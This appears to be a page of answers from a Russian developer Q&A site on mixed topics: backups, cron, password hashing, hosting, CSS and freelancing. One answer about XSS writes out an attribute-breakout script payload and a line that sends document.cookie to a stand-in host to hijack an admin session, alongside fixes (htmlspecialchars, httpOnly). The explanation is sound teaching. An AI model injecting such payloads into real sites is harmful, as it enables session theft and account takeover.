Задать вопрос
  • Как организовать резервное копирование домашнего медиа-архива?

    У меня весь архив помимо домашнего NAS, синхронизируется с терабайтным Я.Диском. 2000 рублей в год и никаких забот. До этого бесплатно использовал Облако@mail.ru, но там всё оказалось непросто.
    Ответ написан
    Комментировать
  • Как в базе MySQL найти пароль от админки вордпрес wordpress, и чтобы не в зашифрованном виде?

    VlastV
    @VlastV
    Ведущий разработчик – практик
    Старый пароль не подлежит дешифровки, так как он не хранится, а хранится только хеш от него.
    Поэтому выход назначить новый пароль, забыв про старый.
    Ответ написан
    1 комментарий
  • Как правильно бекапить файл крона?

    saboteur_kiev
    @saboteur_kiev
    software engineer
    Можете просто создать папку
    mkdir $HOME/crontab_backups

    и добавить в крон команду:
    0 0 * * * crontab -l > $HOME/crontab_backups/crontab-$(date "+%y%m%d").bak


    Не забывайте раз в год-два чистить, хотя не обязательно
    Ответ написан
    Комментировать
  • Почему купленное доменное имя заблокировано?

    Francyz
    @Francyz
    Photographer & SysAdmin
    Данный вопрос надо задавать не людям из интернета, а в службу тех поддержки компании в которой купили домен.
    Ответ написан
    Комментировать
  • На сколько живучие sd карты?

    angrydev
    @angrydev
    Отказ оборудования в случае SD - будет более вероятен, чем при использовании обычной флешки. А восстановление данных будет сложнее.
    Ответ написан
    Комментировать
  • Можно ли на сайт внедрить Время Интернета от Microsoft? Существует ли API Времени Интернета на JavaScript?

    Vlad_IT
    @Vlad_IT Куратор тега JavaScript
    Front-end разработчик
    Вы можете из http заголовков какого-либо сервера (лучше своего) парсить параметр Date
    alert($.ajax('site_url', {async: false}).getResponseHeader( 'Date' ))
    Ответ написан
  • Что можно сделать со старым компьютером?

    zamboga
    @zamboga
    Аналитика данных, BI-аналитика, дашборды
    Что можно сделать со старым компьютером?
    Использовать как домашний сервак:
    • Торрент-качалка
    • Медиа-сервер
    • Принт-сервер
    .
    что еще с ним можно поделать?
    Отдать:
    • бабушке ("ба, гляди, скайп, можно видеозвонки с внуками")
    • в детский дом
    • соседям по дому (повесить объявление в подъезде)
    • малоимущим семьям (объявление в подъезде, или обойти несколько школ, попросить там повесить объявление о бесплатной передаче компьютера нуждающейся семье, + учителя обычно знают, какие дети из малоимущих семей)
    • в поликлинику или в больницу (из комментариев)
    .
    Я хочу на нем поучиться устанавливать Windows, Unix, Linux
    Зачем? Для тестов и экспериментов проще использовать виртуальные машины, например, Oracle Virtual Box.
    .
    UPD. Ещё варианты, навеяны статьёй с хабра https://habr.com/post/418385/
    • Продать на авито (в той статье с хабра человек покупал раритет за 2000₽)
    • Играть в старые игры
    Ответ написан
    9 комментариев
  • Какой хостинг выбрать для сайта фрилианс?

    CityCat4
    @CityCat4 Куратор тега Сетевое администрирование
    //COPY01 EXEC PGM=IEBGENER
    Уржаца.

    Начать надо конечно с ФЗ 152 и с того, что бывает за его нарушения. А если это будут граждане Евросоюза - то и GDPR придется поизучать, а там даже повеселее будет.

    Хранение платежных реквизитов карт - тут еще веселее. В вопросе по ссылке есть ссылка же на требования к сайтам платежных систем, так называемые PCI DSS, которым придется соответствовать, чтобы их хранить.

    Ну и последнее - о хранении паролей. Их не хранят вообще. Нигде. Никто. Никогда. Хранят преобразования от паролей - хэши в самых их разнообразных формах на тот случай, если базу все-таки сольют, чтобы пароли не утекли.

    Надежность хостинга тут на самом последнем месте...
    Ответ написан
    4 комментария
  • Синхронизация локального каталога одновременно с Яндекс.Диск и Google Drive?

    @freezl
    Одно время пользовался goodsync , правда платный, но есть и на трекерах.
    Ответ написан
    2 комментария
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Есть ли недочеты в коде?

    sergiks
    @sergiks Куратор тега PHP
    ♬♬
    Код плохо отформатирован и его трудно читать.
    Логика не вполне удачна. Лучше использовать разницу между двух дат DateTime::diff() или date_diff() – из двух дат получите объект с числом дней, месяцев, лет между ними. Только сбросьте на 0 время у обеих дат, чтобы работать только с датами. Такой вариант пригодится для более сложного случая, когда вы захотите ещё "Два дня назад", "Послезавтра" и "через неделю"
    Ответ написан
    3 комментария
  • Какой величины создавать контентную часть сайта?

    @BigSmoke
    Размер контентной части зависит от количества контента. Например, башорг 740px в ширину, меил.ру 1280px, а личный кабинет(или как его назвать) adsense.google.com вообще растягивается на всю ширину монитора\мониторов.
    Ответ написан
    Комментировать
  • Как соединить круги, чтобы...?

    Ankhena
    @Ankhena Куратор тега CSS
    Нежно люблю верстку
    Скругленные углы это border-radius ;)
    https://webref.ru/css/border-radius

    В вашем случае у псевдоэлементов.
    Ответ написан
    1 комментарий
  • Как отследить редирект сайта?

    Stalker_RED
    @Stalker_RED
    grep 'Location' /path/to/myproject/*.php
    Так найдете (почти) все редиректы. Скорее всего этого будет достаточно чтобы найти проблему, хотя если это действительно вирус, то они могли написать что-то вроде 'Loca'.'tion' и отследить это будет немного сложнее.

    Более хардкорный вариант - временно внести функцию headers в блеклист disable_functions
    И смотреть в каких местах ошибки посыпятся.
    Ответ написан
    4 комментария
  • Чем/как можно бэкапить на несколько офисных ПК?

    Zettabyte
    @Zettabyte
    Проф. восстановление данных ▪ Вопрос? См. профиль
    У Майкрософта есть собственные SyncToy и RoboCopy, популярная сторонняя - DSynchronize (можно запускать как сервис).

    С их помощью точно получится тянуть с локальных компьютеров файлы, лежащие на шаре.
    У робокопи через командную строку можно многое, например, исключать файлы:
    /xf "~*.*" "*~.*" "desktop.ini" "Thumbs.db" ".Sync*"

    Шифровать умеют, к примеру, CryptSync и Resilio Sync.
    Ответ написан
    Комментировать
  • Почему не рекомендуют начинать с фриланса?

    be_a_dancer
    @be_a_dancer
    Backend/Fullstack Developer
    На самом деле, начинать с фриланса не рекомендуется по той причине, что новичку необходимо изначально получать фидбек хороших разработчиков, которые отметят ошибки, покажут, как оптимально решать задачу. Плюс дополнительный опыт необходим для того, чтобы найти хорошего заказчика и для того, чтобы целиком решить задачу из-за дополнительных пожеланий.
    Ответ написан
    2 комментария
  • Исполнителю не нужно ТЗ. Это нормально?

    Fzero0
    @Fzero0
    Вечный студент
    Без внятного ТЗ — результат ХЗ, у Вас одна студия на город? По моему в их же интересах ТЗ, раз они от него отказываются, скорее всего они хотят посадить вас на обслуживание как сейчас модно - вести сайт, то есть все переделки и Ваши "хотелки" будут делать по Вашему щелчку ну а вы платить
    Ответ написан
    1 комментарий
  • Исполнителю не нужно ТЗ. Это нормально?

    iamd503
    @iamd503
    Верстальщик
    Т.е. они могут что то не сделать, а потом сказать, ну вы об этом не говорили. И будут правы, а потом конечно доделать это за дополнительную плату. Классика.

    PS: я бы к ним не обратился.
    Ответ написан
    1 комментарий